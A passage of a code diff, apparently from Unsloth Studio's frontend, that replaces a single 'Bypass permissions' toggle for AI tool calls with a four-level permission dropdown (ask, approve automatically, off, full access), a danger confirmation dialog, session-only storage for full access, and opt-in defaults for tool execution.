- corrupt your machine, and or cause real world damage to you or the
- world - only accept if you are certain
+ Full access (Bypass permissions) is dangerous since the AI model
+ might delete, corrupt your machine, and or cause real world damage
+ to you or the world - only accept if you are certain
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
@@ -84,7 +86,7 @@ export function BypassPermissionsConfirmDialog() {
variant="destructive"
className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
onClick={() => {
- setBypassPermissions(true);
+ setPermissionMode("full");
setOpen(false);
}}
>
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 07ddffdd590..cedd298ecfd 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -6,16 +6,6 @@ import {
AlertDescription,
AlertTitle,
} from "@/components/ui/alert";
-import {
- AlertDialog,
- AlertDialogAction,
- AlertDialogCancel,
- AlertDialogContent,
- AlertDialogDescription,
- AlertDialogFooter,
- AlertDialogHeader,
- AlertDialogTitle,
-} from "@/components/ui/alert-dialog";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
@@ -81,6 +71,7 @@ import { Fragment, type ReactNode } from "react";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { toast } from "@/lib/toast";
import { OpenAICodeExecSection } from "./components/openai-code-exec-section";
+import { PermissionModeDropdown } from "./permission-mode-select";
import { resyncInferenceStatusAfterServerModelChange } from "./hooks/use-chat-model-runtime";
import {
type ExternalProviderConfig,
@@ -2037,9 +2028,8 @@ function NudgeToolCallsToggle() {
}
function ConfirmToolCallsToggle() {
- const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
- const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
return (
<div className="flex items-center justify-between gap-3">
@@ -2049,85 +2039,49 @@ function ConfirmToolCallsToggle() {
Confirm tool calls
</span>
<InfoHint>
- When on, local Studio tool calls pause for your approval before they
- run. Provider-hosted tools are not gated here.
+ When on, every local Unsloth tool call pauses for your approval
+ before it runs (the "Ask for approval" level). When off, tool calls
+ run without prompts inside the sandbox (the "Off" level).
+ Provider-hosted tools are not gated here.
</InfoHint>
</div>
- {bypassPermissions ? (
+ {permissionMode === "full" ? (
<span className="text-[11px] text-muted-foreground">
- Overridden by Bypass permissions
+ Overridden by Full access (Bypass permissions)
</span>
) : null}
</div>
<Switch
className="panel-switch"
- checked={confirmToolCalls && !bypassPermissions}
+ checked={permissionMode === "ask"}
onCheckedChange={setConfirmToolCalls}
- disabled={bypassPermissions}
+ disabled={permissionMode === "full"}
/>
</div>
);
}
function BypassPermissionsToggle() {
- const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
- const setBypassPermissions = useChatRuntimeStore(
- (s) => s.setBypassPermissions,
- );
- const [dialogOpen, setDialogOpen] = useState(false);
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
return (
- <div className="flex flex-col gap-1.5">
- <div className="flex items-center justify-between gap-3">
- <div className="flex min-w-0 items-center gap-1.5">
- <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
- Bypass permissions
- </span>
- <InfoHint>
- Dangerous. Runs every tool call with no confirmation and disables
- the python/terminal sandbox. Environment secrets are stripped, but
- code can still read files and credentials on your machine.
- </InfoHint>
- </div>
- <Switch
- className="panel-switch"
- checked={bypassPermissions}
- onCheckedChange={(next) => {
- if (next) setDialogOpen(true);
- else setBypassPermissions(false);
- }}
- />
+ <div className="flex flex-col gap-2">
+ <div className="flex min-w-0 items-center gap-1.5">
+ <span className="whitespace-nowrap text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+ Bypass permissions
+ </span>
+ <InfoHint>
+ How Unsloth approves tool calls before they run. Full access is
+ dangerous: it disables confirmations and the code sandbox.
+ </InfoHint>
</div>
- {bypassPermissions ? (
+ {/* Full width, styled like the panel selects/preset input. */}
+ <PermissionModeDropdown triggerClassName="h-9 w-full justify-between rounded-full border-0 bg-[var(--panel-input-surface)] px-3.5 text-[13px] font-medium text-nav-fg shadow-none hover:bg-[var(--panel-input-surface)]" />
+ {permissionMode === "full" ? (
<span className="text-[11px] text-bypass">
Tool calls run with no confirmation and no sandbox.
</span>
) : null}
- <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
- <AlertDialogContent size="sm">
- <AlertDialogHeader>
- <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
- <AlertDialogDescription>
- Bypass permissions is dangerous since the AI model might delete,
- corrupt your machine, and or cause real world damage to you or the
- world - only accept if you are certain
- </AlertDialogDescription>
- </AlertDialogHeader>
- <AlertDialogFooter>
- <AlertDialogCancel>Cancel</AlertDialogCancel>
- <AlertDialogAction
- variant="destructive"
- className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
- onClick={() => {
- setBypassPermissions(true);
- setDialogOpen(false);
- }}
- >
- I understand
- </AlertDialogAction>
- </AlertDialogFooter>
- </AlertDialogContent>
- </AlertDialog>
</div>
);
}
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index 30998846458..7e894bb92ea 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -17,6 +17,7 @@ export {
type Preset,
} from "./chat-settings-sheet";
export { useChatRuntimeStore } from "./stores/chat-runtime-store";
+export { PermissionModeDropdown } from "./permission-mode-select";
export { useChatSearchStore } from "./stores/chat-search-store";
export { usePinnedChatsStore } from "./stores/pinned-chats-store";
export { useChatPreferencesStore } from "./stores/chat-preferences-store";
diff --git a/studio/frontend/src/features/chat/permission-mode-select.tsx b/studio/frontend/src/features/chat/permission-mode-select.tsx
new file mode 100644
index 00000000000..4277c1bfcf5
--- /dev/null
+++ b/studio/frontend/src/features/chat/permission-mode-select.tsx
@@ -0,0 +1,338 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+ ChevronDown,
+ CircleAlert,
+ CircleOff,
+ Hand,
+ ShieldCheck,
+ XIcon,
+} from "lucide-react";
+import { useState } from "react";
+
+import {
+ AlertDialog,
+ AlertDialogAction,
+ AlertDialogCancel,
+ AlertDialogContent,
+ AlertDialogDescription,
+ AlertDialogFooter,
+ AlertDialogHeader,
+ AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import {
+ DropdownMenu,
+ DropdownMenuContent,
+ DropdownMenuItem,
+ DropdownMenuLabel,
+ DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { cn } from "@/lib/utils";
+import { HugeiconsIcon } from "@hugeicons/react";
+import {
+ type PermissionMode,
+ useChatRuntimeStore,
+} from "./stores/chat-runtime-store";
+
+/**
+ * Permission levels for the Bypass permissions dropdowns (General settings,
+ * chat settings sheet, composer "+" menu). Off sits last as the toggle that
+ * turns the feature off entirely.
+ */
+export const PERMISSION_MODE_OPTIONS: readonly {
+ value: PermissionMode;
+ label: string;
+ description: string;
+ icon: typeof Hand;
+}[] = [
+ {
+ value: "ask",
+ label: "Ask for approval",
+ description: "Always ask before tool calls edit files or use the internet",
+ icon: Hand,
+ },
+ {
+ value: "auto",
+ label: "Approve for me",
+ description: "Only ask for actions detected as potentially unsafe",
+ icon: ShieldCheck,
+ },
+ {
+ value: "full",
+ label: "Full access",
+ description:
+ "Unrestricted: no approval prompts and the code sandbox is disabled",
+ icon: CircleAlert,
+ },
+ {
+ value: "off",
+ label: "Off",
+ description: "Turn off bypass permissions",
+ icon: CircleOff,
+ },
+] as const;
+
+export function permissionModeOption(mode: PermissionMode) {
+ return (
+ PERMISSION_MODE_OPTIONS.find((option) => option.value === mode) ??
+ PERMISSION_MODE_OPTIONS[0]
+ );
+}
+
+/** The option rows shared by every permission dropdown/submenu. Non-full
+ * levels apply directly; picking Full access must go through the caller's
+ * danger confirmation, so it's a separate callback. */
+export function PermissionModeMenuItems({
+ onRequestFullAccess,
+}: {
+ onRequestFullAccess: () => void;
+}) {
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+ const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+ return (
+ <>
+ {PERMISSION_MODE_OPTIONS.map((option) => (
+ <DropdownMenuItem
+ key={option.value}
+ onSelect={() => {
+ // Reselecting the active level toggles the feature off.
+ if (option.value === permissionMode) {
+ setPermissionMode("off");
+ } else if (option.value === "full") {
+ onRequestFullAccess();
+ } else {
+ setPermissionMode(option.value);
+ }
+ }}
+ className={cn(
+ "items-start gap-2 py-2",
+ permissionMode === option.value && "font-medium",
+ option.value === "full" &&
+ permissionMode === "full" &&
+ "text-bypass",
+ )}
+ >
+ <option.icon className="mt-0.5 size-4 shrink-0" strokeWidth={2} />
+ <span className="flex min-w-0 flex-1 flex-col gap-0.5">
+ <span className="text-[13px] leading-tight">{option.label}</span>
+ <span className="text-xs font-normal leading-snug text-muted-foreground">
+ {option.description}
+ </span>
+ </span>
+ {permissionMode === option.value ? (
+ <HugeiconsIcon
+ icon={Tick02Icon}
+ strokeWidth={2}
+ className="ml-auto mt-0.5 size-4 shrink-0"
+ />
+ ) : null}
+ </DropdownMenuItem>
+ ))}
+ </>
+ );
+}
+
+/** Danger confirmation shown before Full access turns on. Self-contained so
+ * the dropdown works outside the chat page (e.g. the Settings dialog). */
+export function FullAccessConfirmDialog({
+ open,
+ onOpenChange,
+}: {
+ open: boolean;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+ return (
+ <AlertDialog open={open} onOpenChange={onOpenChange}>
+ <AlertDialogContent size="sm">
+ <AlertDialogHeader>
+ <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
+ <AlertDialogDescription>
+ Full access (Bypass permissions) is dangerous since the AI model
+ might delete, corrupt your machine, and or cause real world damage
+ to you or the world - only accept if you are certain
+ </AlertDialogDescription>
+ </AlertDialogHeader>
+ <AlertDialogFooter>
+ <AlertDialogCancel>Cancel</AlertDialogCancel>
+ <AlertDialogAction
+ variant="destructive"
+ className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+ onClick={() => {
+ setPermissionMode("full");
+ onOpenChange(false);
+ }}
+ >
+ I understand
+ </AlertDialogAction>
+ </AlertDialogFooter>
+ </AlertDialogContent>
+ </AlertDialog>
+ );
+}
+
+/**
+ * Select-style dropdown (like the MCP composer menu) for picking the
+ * permission level. Used in General settings and the chat settings sheet.
+ */
+export function PermissionModeDropdown({
+ side = "bottom",
+ align = "end",
+ triggerClassName,
+}: {
+ side?: "top" | "bottom";
+ align?: "start" | "end";
+ triggerClassName?: string;
+} = {}) {
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+ const [confirmOpen, setConfirmOpen] = useState(false);
+ const active = permissionModeOption(permissionMode);
+ const ActiveIcon = active.icon;
+
+ return (
+ <>
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild={true}>
+ <Button
+ variant="outline"
+ size="sm"
+ className={cn(
+ "gap-1.5",
+ triggerClassName,
+ // Last so a text color in triggerClassName cannot override it.
+ permissionMode === "full" &&
+ "text-bypass hover:text-bypass border-bypass/50",
+ )}
+ aria-label="Permission level for tool calls"
+ >
+ <ActiveIcon className="size-3.5 shrink-0" strokeWidth={2} />
+ <span className="min-w-0 flex-1 truncate text-left">
+ {active.label}
+ </span>
+ <ChevronDown className="size-3.5 shrink-0 opacity-60" />
+ </Button>
+ </DropdownMenuTrigger>
+ <DropdownMenuContent
+ side={side}
+ align={align}
+ className="w-[300px]"
+ avoidCollisions={true}
+ >
+ <DropdownMenuLabel>
+ How should tool calls be approved?
+ </DropdownMenuLabel>
+ <PermissionModeMenuItems
+ // Defer past the menu-close focus restoration so the dialog's
+ // focus trap isn't broken by the dropdown grabbing focus back.
+ onRequestFullAccess={() =>
+ setTimeout(() => setConfirmOpen(true), 0)
+ }
+ />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ <FullAccessConfirmDialog
+ open={confirmOpen}
+ onOpenChange={setConfirmOpen}
+ />
+ </>
+ );
+}
+
+/**
+ * Composer pill (mirrors the MCP pill) showing the current permission level
+ * in the chat box; clicking opens the level dropdown. Danger-styled while
+ * Full access is on. The Full access pick routes through the store-driven
+ * BypassPermissionsConfirmDialog mounted at the chat-page root, so the
+ * warning survives this menu unmounting.
+ */
+export function PermissionModeComposerPill({
+ side = "bottom",
+}: {
+ side?: "top" | "bottom";
+} = {}) {
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+ const setBypassConfirmOpen = useChatRuntimeStore(
+ (s) => s.setBypassConfirmOpen,
+ );
+ const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+ const active = permissionModeOption(permissionMode);
+ const ActiveIcon = active.icon;
+ const fullAccess = permissionMode === "full";
+
+ // Off means the feature is off: no pill (re-enable via the "+" menu or
+ // settings, like the pre-levels bypass badge).
+ if (permissionMode === "off") return null;
+
+ return (
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild={true}>
+ <button
+ type="button"
+ className="composer-pill-btn composer-pill-permissions"
+ data-pill-label={active.label}
+ data-active={fullAccess ? "true" : "false"}
+ data-variant={fullAccess ? "danger" : undefined}
+ aria-label="Permission level for tool calls"
+ title={`${active.label}: ${active.description}`}
+ >
+ {/* The icon doubles as an off switch (mirrors the MCP pill): hover
+ swaps it to an X; clicking it turns bypass permissions Off (no
+ prompts, sandbox on) without opening the menu. In compact
+ icon-only mode the glyph is the whole button, so clicks fall
+ through and open the menu instead. */}
+ <span
+ role="button"
+ aria-label="Turn off bypass permissions"
+ tabIndex={-1}
+ onPointerDown={(e) => {
+ if (e.currentTarget.closest('[data-pill-compact="true"]')) {
+ return;
+ }
+ e.stopPropagation();
+ }}
+ onClick={(e) => {
+ if (e.currentTarget.closest('[data-pill-compact="true"]')) {
+ return;
+ }
+ e.stopPropagation();
+ setPermissionMode("off");
+ }}
+ className="composer-pill-glyph cursor-pointer"
+ >
+ <ActiveIcon className="size-[15px]" strokeWidth={2} />
+ <XIcon className="composer-pill-x" />
+ </span>
+ <span>{active.label}</span>
+ <HugeiconsIcon
+ icon={ChevronDownStandardIcon}
+ strokeWidth={1.5}
+ className="composer-pill-caret size-[15px]"
+ />
+ </button>
+ </DropdownMenuTrigger>
+ <DropdownMenuContent
+ side={side}
+ align="start"
+ sideOffset={0}
+ avoidCollisions={true}
+ className="unsloth-plus-menu w-[300px]"
+ >
+ <DropdownMenuLabel>
+ How should tool calls be approved?
+ </DropdownMenuLabel>
+ <PermissionModeMenuItems
+ // Defer past the menu-close focus restoration (see PermissionModeDropdown).
+ onRequestFullAccess={() =>
+ setTimeout(() => setBypassConfirmOpen(true), 0)
+ }
+ />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ );
+}
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 47a0720dacb..2ed9589461f 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -48,7 +48,6 @@ import {
Image03Icon,
McpServerIcon,
PencilRulerIcon,
- ShieldBanIcon,
} from "@hugeicons/core-free-icons";
import { useNavigate } from "@tanstack/react-router";
import { HugeiconsIcon } from "@hugeicons/react";
@@ -62,6 +61,7 @@ import {
import { listPromptEntries, type PromptEntry } from "./api/prompts-api";
import { McpComposerButton } from "./mcp-composer-button";
import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "./permission-mode-select";
import { reasoningCapsFromLoad } from "./lib/apply-inference-status-to-store";
import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
import { NewProjectDialog } from "./components/new-project-dialog";
@@ -510,6 +510,7 @@ export function SharedComposer({
);
const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
const setArtifactsEnabled = useChatRuntimeStore((s) => s.setArtifactsEnabled);
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
const setMcpEnabledForChat = useChatRuntimeStore(
(s) => s.setMcpEnabledForChat,
@@ -529,10 +530,6 @@ export function SharedComposer({
const setWebFetchToolsEnabled = useChatRuntimeStore(
(s) => s.setWebFetchToolsEnabled,
);
- const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
- const setBypassPermissions = useChatRuntimeStore(
- (s) => s.setBypassPermissions,
- );
const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
const setRagEnabled = useChatRuntimeStore((s) => s.setRagEnabled);
const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
@@ -685,9 +682,12 @@ export function SharedComposer({
const ragDisabled = modelLoaded && (isExternalModel || !supportsTools);
const showRagPill = !isExternalModel;
// Above 4 pills, collapse to icons only to cut clutter. Compare, Search and
- // Code always show; the rest are conditional.
+ // Code always show; the permission pill shows in every mode except "off"
+ // (it renders null there); the rest are conditional.
+ const permissionPillVisible = permissionMode !== "off";
const pillsCompact =
3 +
+ (permissionPillVisible ? 1 : 0) +
(showImagePill ? 1 : 0) +
(showRagPill && ragEnabled && !ragDisabled ? 1 : 0) +
(showWebFetchPill ? 1 : 0) +
@@ -1656,29 +1656,10 @@ export function SharedComposer({
</PillGlyph>
<span>Compare</span>
</button>
- {/* Bypass sits immediately after Compare and ahead of every other
- tool pill (Search, Code, ...) so the active danger state reads
- first; only Compare outranks it. */}
- {bypassPermissions && (
- <button
- type="button"
- onClick={() => setBypassPermissions(false)}
- className="composer-pill-btn"
- data-active="true"
- data-variant="danger"
- aria-label="Disable Bypass permissions"
- title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
- >
- <PillGlyph>
- <HugeiconsIcon
- icon={ShieldBanIcon}
- strokeWidth={2}
- className="size-[15px]"
- />
- </PillGlyph>
- <span>Bypass permissions</span>
- </button>
- )}
+ {/* Permission-level pill sits immediately after Compare and ahead
+ of every other tool pill (Search, Code, ...) so the Full access
+ danger state reads first; only Compare outranks it. */}
+ <PermissionModeComposerPill side="top" />
<button
type="button"
disabled={searchDisabled}
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index ad50c4ece8a..b70d2fbeab0 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -45,6 +45,19 @@ export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
"unsloth_models_fit_on_device_only";
export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
+export const CHAT_PERMISSION_MODE_KEY = "unsloth_chat_permission_mode";
+
+/**
+ * Permission level for local tool calls:
+ * - "ask": always ask before every tool call runs.
+ * - "auto" ("Approve for me"): only ask for calls the backend detects as
+ * potentially unsafe; read-only calls run immediately. Sandbox stays on.
+ * - "off": never ask; tool calls run automatically inside the sandbox
+ * (the original default before permission levels existed).
+ * - "full" ("Full access"): no confirmations and the python/terminal sandbox
+ * is disabled. Session-only; never restored from storage.
+ */
+export type PermissionMode = "ask" | "auto" | "off" | "full";
export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
"unsloth_chat_web_fetch_tools_enabled";
export const CHAT_RAG_SOURCE_KEY = "unsloth_chat_rag_source";
@@ -319,8 +332,10 @@ export function loadOptionalBool(key: string): boolean | null {
/**
* Resolve the web-search / code-execution pill state to apply when a model
* loads. Honors the user's persisted preference so a tool-capable model never
- * re-enables a pill the user turned off; falls back to the model's capability
- * only when no preference has been expressed.
+ * re-enables a pill the user turned off, and never re-disables one they turned
+ * on. When no preference has been expressed the pills stay off: tool execution
+ * is opt-in, so the person enables it with a click rather than a tool-capable
+ * model turning it on for them.
*/
export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
toolsEnabled: boolean;
@@ -328,8 +343,8 @@ export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
} {
if (!supportsTools) return { toolsEnabled: false, codeToolsEnabled: false };
return {
- toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? true,
- codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? true,
+ toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? false,
+ codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? false,
};
}
@@ -342,6 +357,37 @@ function saveBool(key: string, value: boolean): void {
}
}
+/**
+ * "full" is intentionally not restorable: it disables the sandbox and every
+ * confirmation gate, so it must be re-enabled (through the warning dialog)
+ * each session. First run falls back to the legacy "Confirm tool calls"
+ * toggle so existing users keep their behavior (on -> ask, explicitly
+ * off -> "off", i.e. no prompts); fresh installs default to "auto".
+ */
+function loadPermissionMode(): PermissionMode {
+ if (!canUseStorage()) return "auto";
+ try {
+ const raw = localStorage.getItem(CHAT_PERMISSION_MODE_KEY);
+ if (raw === "ask" || raw === "auto" || raw === "off") return raw;
+ } catch {
+ // ignore
+ }
+ const legacyConfirm = loadOptionalBool(CHAT_CONFIRM_TOOL_CALLS_KEY);
+ if (legacyConfirm === null) return "auto";
+ return legacyConfirm ? "ask" : "off";
+}
+
+function savePermissionMode(mode: PermissionMode): void {
+ if (!canUseStorage() || mode === "full") return;
+ try {
+ localStorage.setItem(CHAT_PERMISSION_MODE_KEY, mode);
+ } catch {
+ // ignore
+ }
+}
+
+const INITIAL_PERMISSION_MODE: PermissionMode = loadPermissionMode();
+
function loadString(key: string, fallback: string): string {
if (!canUseStorage()) return fallback;
try {
@@ -514,7 +560,11 @@ export function isPendingGguf(pending: PendingModelSelection | null): boolean {
* wrong file. */
export function pendingSelectionMatches(
pending: PendingModelSelection | null,
- pick: { id: string; ggufVariant?: string | null; nativePathToken?: string | null },
+ pick: {
+ id: string;
+ ggufVariant?: string | null;
+ nativePathToken?: string | null;
+ },
): boolean {
return (
pending != null &&
@@ -615,8 +665,15 @@ type ChatRuntimeStore = {
* Bypass Permissions: when on, tool calls run with no confirmation gate
* AND the python/terminal execution sandbox is disabled on the backend
* (secrets are still stripped). Takes precedence over confirmToolCalls.
+ * Kept in sync with permissionMode ("full" <=> true).
*/
bypassPermissions: boolean;
+ /**
+ * Permission level. Single source of truth for the bypass dropdowns;
+ * bypassPermissions and confirmToolCalls mirror it so legacy call sites
+ * keep working. "full" is session-only (never persisted).
+ */
+ permissionMode: PermissionMode;
/** Whether the "Enable Bypass Permissions?" warning dialog is open. Lifted out
* of the composer menu so confirming/cancelling it doesn't leave the menu frozen. */
bypassConfirmOpen: boolean;
@@ -759,6 +816,7 @@ type ChatRuntimeStore = {
setMcpEnabledForChat: (enabled: boolean) => void;
setConfirmToolCalls: (enabled: boolean) => void;
setBypassPermissions: (enabled: boolean) => void;
+ setPermissionMode: (mode: PermissionMode) => void;
setBypassConfirmOpen: (open: boolean) => void;
allowToolAlways: (sessionId: string, toolName: string) => void;
setToolConfirmation: (
@@ -1081,11 +1139,15 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
false,
),
mcpEnabledForChat: loadBool(CHAT_MCP_ENABLED_KEY, false),
- confirmToolCalls: loadBool(CHAT_CONFIRM_TOOL_CALLS_KEY, false),
+ // Mirrors permissionMode (gate requested for ask/auto) so both controls
+ // agree on load.
+ confirmToolCalls:
+ INITIAL_PERMISSION_MODE === "ask" || INITIAL_PERMISSION_MODE === "auto",
// Never restore Bypass Permissions from storage: it disables the sandbox and
// the confirmation gate, so it must be re-enabled (through the warning
// dialog) each session rather than silently reactivating on reload.
bypassPermissions: false,
+ permissionMode: INITIAL_PERMISSION_MODE,
bypassConfirmOpen: false,
alwaysAllowToolsBySession: new Map<string, Set<string>>(),
toolConfirmations: {},
@@ -1453,14 +1515,53 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
return { mcpEnabledForChat };
}),
setConfirmToolCalls: (confirmToolCalls) =>
+ set((state) => {
+ saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
+ // The legacy toggle is a view over the permission level: on -> "ask",
+ // off -> "off" (no prompts). While "full" is active the level is left
+ // alone (the toggle is disabled in the UI anyway).
+ if (state.permissionMode === "full") return { confirmToolCalls };
+ const permissionMode: PermissionMode = confirmToolCalls ? "ask" : "off";
+ savePermissionMode(permissionMode);
+ return { confirmToolCalls, permissionMode };
+ }),
+ setPermissionMode: (permissionMode) =>
set(() => {
+ // "full" is session-only (never persisted, see init); ask/auto/off
+ // persist and keep the legacy confirm toggle in sync (the gate is
+ // requested for both ask and auto).
+ savePermissionMode(permissionMode);
+ if (permissionMode === "full") {
+ // Full access sends confirm_tool_calls=false; keep the store flag in
+ // sync so response metadata does not report confirmations as enabled.
+ return { permissionMode, bypassPermissions: true, confirmToolCalls: false };
+ }
+ const confirmToolCalls =
+ permissionMode === "ask" || permissionMode === "auto";
saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
- return { confirmToolCalls };
+ return { permissionMode, bypassPermissions: false, confirmToolCalls };
}),
setBypassPermissions: (bypassPermissions) =>
// Deliberately not persisted (see init): a reload must not silently keep
// the sandbox/confirmation bypass active without re-accepting the warning.
- set(() => ({ bypassPermissions })),
+ // Turning bypass off returns to the last persisted ask/auto level.
+ set(() => {
+ if (bypassPermissions) {
+ // Full access never prompts; mirror confirm_tool_calls=false in the
+ // store so metadata does not report confirmations as enabled.
+ return {
+ bypassPermissions,
+ permissionMode: "full" as PermissionMode,
+ confirmToolCalls: false,
+ };
+ }
+ const permissionMode = loadPermissionMode();
+ return {
+ bypassPermissions,
+ permissionMode,
+ confirmToolCalls: permissionMode === "ask" || permissionMode === "auto",
+ };
+ }),
setBypassConfirmOpen: (bypassConfirmOpen) =>
set(() => ({ bypassConfirmOpen })),
allowToolAlways: (sessionId, toolName) =>
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 1a9a9672631..d72c406fdda 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -349,6 +349,15 @@ export interface OpenAIChatCompletionsRequest {
mcp_enabled?: boolean;
/** Local models + enable_tools only. */
confirm_tool_calls?: boolean;
+ /**
+ * Local models + enable_tools only. Gate level for local tool calls: "ask"
+ * prompts on every call, "auto" prompts only on calls flagged unsafe, "off"
+ * never prompts, "full" never prompts and drops the sandbox. Unset behaves
+ * as "ask".
+ */
+ permission_mode?: "ask" | "auto" | "off" | "full";
+ /** Local models + enable_tools only. Full-access escape hatch. */
+ bypass_permissions?: boolean;
/** `kb_id` is exclusive; otherwise project and thread scopes may combine. */
rag_scope?: {
kb_id?: string;
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index e806df40ff8..1b2adf066dd 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -14,7 +14,7 @@ import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import { usePlatformStore } from "@/config/env";
import { resetOnboardingDone } from "@/features/auth";
-import { useChatRuntimeStore } from "@/features/chat";
+import { PermissionModeDropdown, useChatRuntimeStore } from "@/features/chat";
import { openModelsDir } from "@/features/native-intents";
import { emitTrainingRunsChanged } from "@/features/training";
import {
@@ -80,6 +80,10 @@ const PREFS_KEYS: string[] = [
"unsloth_settings_active_tab",
// Chat runtime prefs
"unsloth_chat_auto_title",
+ "unsloth_chat_permission_mode",
+ // Legacy confirm key: loadPermissionMode falls back to it, so clear both or
+ // a reset would restore the old level instead of the fresh default.
+ "unsloth_chat_confirm_tool_calls",
"unsloth_hf_token",
"unsloth_auto_heal_tool_calls",
"unsloth_nudge_tool_calls",
@@ -583,6 +587,15 @@ export function GeneralTab() {
</SettingsRow>
</SettingsSection>
+ <SettingsSection title={t("settings.general.permissions.sectionTitle")}>
+ <SettingsRow
+ label={t("settings.general.permissions.bypassLabel")}
+ description={t("settings.general.permissions.bypassDescription")}
+ >
+ <PermissionModeDropdown />
+ </SettingsRow>
+ </SettingsSection>
+
<SettingsSection title={t("settings.general.notifications.sectionTitle")}>
<SettingsRow
label={t("settings.general.notifications.showLlamaUpdates")}
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 0f031e6dff8..ba4e405921e 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -181,6 +181,12 @@ export const en = {
revoked: "All preview links revoked",
revokeError: "Couldn't revoke preview links",
},
+ permissions: {
+ sectionTitle: "Permissions",
+ bypassLabel: "Bypass permissions",
+ bypassDescription:
+ "How Unsloth approves chat tool calls (terminal, python, web, MCP) before they run. Full access disables approvals and the code sandbox.",
+ },
notifications: {
sectionTitle: "Notifications",
showLlamaUpdates: "llama.cpp update notifications",
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index fdb1a92f0cf..a820f5ce073 100644
--- a/studio/frontend/src/index.css
